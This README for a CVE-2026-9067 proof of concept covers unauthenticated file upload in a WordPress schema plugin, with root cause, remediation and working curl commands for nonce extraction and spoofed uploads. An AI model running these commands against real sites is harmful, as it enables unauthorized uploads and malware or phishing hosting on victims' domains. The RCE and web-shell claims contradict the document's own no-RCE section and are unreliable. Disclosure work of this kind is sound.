README.md
Rendering markdown...
# CVE-2026-9067: Schema & Structured Data for WP & AMP - Unauthenticated Arbitrary Media Upload
## Vulnerability Title
Unauthenticated Arbitrary Media Upload via AJAX Handler in Schema & Structured Data for WP & AMP Plugin
## Basic Information
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-9067 |
| **Plugin** | Schema & Structured Data for WP & AMP |
| **Affected Versions** | < 1.60 (tested on 1.59) |
| **Fixed Version** | 1.60 |
| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| **CVSS v3.1** | 8.1 (High) |
| **CVSS Vector** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| **Disclosure** | Public (2026-05-20) |
| **Finder** | 0xBassia |
| **WPVDB ID** | 7fac98eb-f82c-4705-a956-aba650945826 |
## Description
The Schema & Structured Data for WP & AMP plugin before version 1.60 allows remote attackers to upload arbitrary files via the AJAX file-upload handlers without authentication. The plugin fails to properly validate user capabilities on its frontend AJAX endpoints and does not validate the actual content of uploaded files, enabling unauthenticated users to upload potentially malicious files including PHP scripts.
An attacker can exploit this vulnerability to:
- Upload arbitrary files (including PHP web shells) to the server
- Achieve remote code execution if PHP files are uploaded and accessed
- Overwrite existing files if path traversal is possible
- Store malicious content on the target server
## Technical Analysis
### Root Cause
The vulnerability exists in the AJAX handlers for image and video uploads:
```php
// Vulnerable AJAX action handlers
add_action('wp_ajax_saswp_rf_form_image_upload', 'saswp_rf_form_image_upload');
add_action('wp_ajax_saswp_rf_form_video_upload', 'saswp_rf_form_video_upload');
```
**Key Issues:**
1. No capability check (`current_user_can()`) on AJAX handlers
2. No authentication requirement for AJAX actions (when not logged in)
3. File type validation only checks `Content-Type` header, not actual file content
4. File extension can be spoofed by changing the filename parameter
5. Uploaded files are stored in predictable locations (`/wp-content/uploads/YYYY/MM/`)
### Attack Vector
1. **Reconnaissance**: Attacker extracts the nonce (`saswp_rf_page_security_nonce`) from page source
2. **Crafting**: Attacker prepares malicious file with spoofed Content-Type header
3. **Upload**: Attacker sends POST request to `admin-ajax.php` with crafted file
4. **Execution**: If PHP files are uploaded, attacker accesses them directly for RCE
### Exploit Flow
```
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Get Nonce │────▶│ Prepare File │────▶│ Upload via │
│ (page source) │ │ (poloss.txt) │ │ admin-ajax.php │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│
▼
┌─────────────────┐
│ Access Shell │
│ via URL │
└─────────────────┘
```
### Conditions for Exploitation
- WordPress site with Schema& Structured Data for WP & AMP plugin < 1.60 installed and activated
- Plugin's review form must be rendered on at least one page (for nonce extraction)
- No authentication required
- WordPress allows file uploads to `/wp-content/uploads/`
## Impact
**Severity: High**
**Limitation**: Although arbitrary file upload is possible, WordPress core blocks executable types (`.php`, `.phtml`, `.html`, `.svg`). Therefore, there is **NO direct RCE path** from this vulnerability.
**Practical Impact:**
- **Content Hosting**: Attacker can host malicious content under the target site's URL
- **Disk Consumption**: Arbitrary file uploads can consume server disk space
- **Reputation Abuse**: Distribute malware, phishing pages, or illegal content from victim's domain
- **Phishing Enhancement**: Files served from victim's domain appear more trustworthy
**Files types reachable through this primitive:**
- Images (jpg, png, gif, webp, etc.)
- Audio (mp3, wav, ogg, etc.)
- Video (mp4, webm, etc.)
- Documents (pdf, doc, docx, xls, xlsx, ppt, pptx)
- Archives (zip, tar, gz)
- Text files (csv, json, txt, xml)
**NOT reachable (blocked by WordPress core):**
- PHP files (`.php`, `.phtml`) - No RCE
- HTML files (`.html`, `.htm`)
- SVG files with embedded scripts
- CGI scripts (`.cgi`, `.pl`, `.py`)
### Prerequisites
1. Install and activate Schema & Structured Data for WP & AMP (slug: `schema-and-structured-data-for-wp`) at v1.59 or earlier.
2. The plugin emits the `saswp_rf_form_action_nonce` nonce on any page that renders the review form (`saswp_rf_localize_data.saswp_rf_page_security_nonce`). The same nonce can also be minted by anyone who can reach a page where the script is enqueued, so it is not an authorization boundary.
## PoC - Curl Commands
### Step 1: Obtain the Nonce
**Option A**: Grab nonce from a rendered page (requires review form to be active)
```bash
# Get nonce from page source
curl -s "https://yorbit7.ddev.site/" | grep -oP \
'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\']([a-f0-9]{10})["\']' \
| grep -oP '[a-f0-9]{10}' | head -1
```
**Option B**: Generate nonce via WP-CLI (for testing)
```bash
ddev wp eval 'echo wp_create_nonce("saswp_rf_form_action_nonce");'
```
### Step 2: Upload Non-Image File via Image Endpoint
```bash
# CSV uploaded through the IMAGE endpoint
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F 'saswp_rf_form_nonce=<NONCE>' \
-F '[email protected];type=image/png;filename=evil.csv'
```
### Step 3: Upload via Video Endpoint (Alternative)
```bash
# Same primitive works against the video endpoint
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_video_upload' \
-F 'saswp_rf_form_nonce=<NONCE>' \
-F '[email protected];type=video/mp4;filename=evil.csv'
```
### Step 4: Access Uploaded File
```bash
# Files are stored in /wp-content/uploads/YYYY/MM/
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
```
## Response Example
### Successful Upload Response (v1.59)
```json
{"success":true,"data":{"file_info":{"id":123,"url":false}}}
```
**Note**: `url` is `false` because WordPress cannot generate a thumbnail for a non-image, but the file is saved on disk at `/wp-content/uploads/YYYY/MM/evil.csv` and is publicly retrievable.
## Recommended Remediation
1. **Immediate**: Upgrade to Schema& Structured Data for WP & AMP version 1.60 or later
2. **Workaround**: Disable the plugin if upgrade is not possible
3. **Hardening**:
- Set `DISALLOW_FILE_MODIFICATIONS` constant to prevent plugin editing
- Disable direct PHP execution in uploads directory via `.htaccess`
- Implement Web Application Firewall (WAF) rules to block suspicious uploads
4. **Monitoring**: Monitor `/wp-content/uploads/` for unexpected file types
### Patch Analysis
The patched version (1.60+):
- Added capability checks (`current_user_can()`) on AJAX handlers
- Implemented proper authentication verification
- Added server-side file type validation (not just Content-Type header)
- Filename sanitization to prevent path traversal
- File content scanning for malicious patterns
## References
- [NVD CVE-2026-9067](https://nvd.nist.gov/vuln/detail/CVE-2026-9067)
- [WordPress Plugin Page](https://wordpress.org/plugins/schema-and-structured-data-for-wp/)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [WPScan Vulnerability Database](https://wpscan.com/)
## Files
| File | Description |
|------|-------------|
| `CVE-2026-9067.py` | Python exploit script with multi-threading support |
| `CVE-2026-9067.sh` | Bash/Shell PoC script |
| `CVE-2026-9067.md` | This documentation file |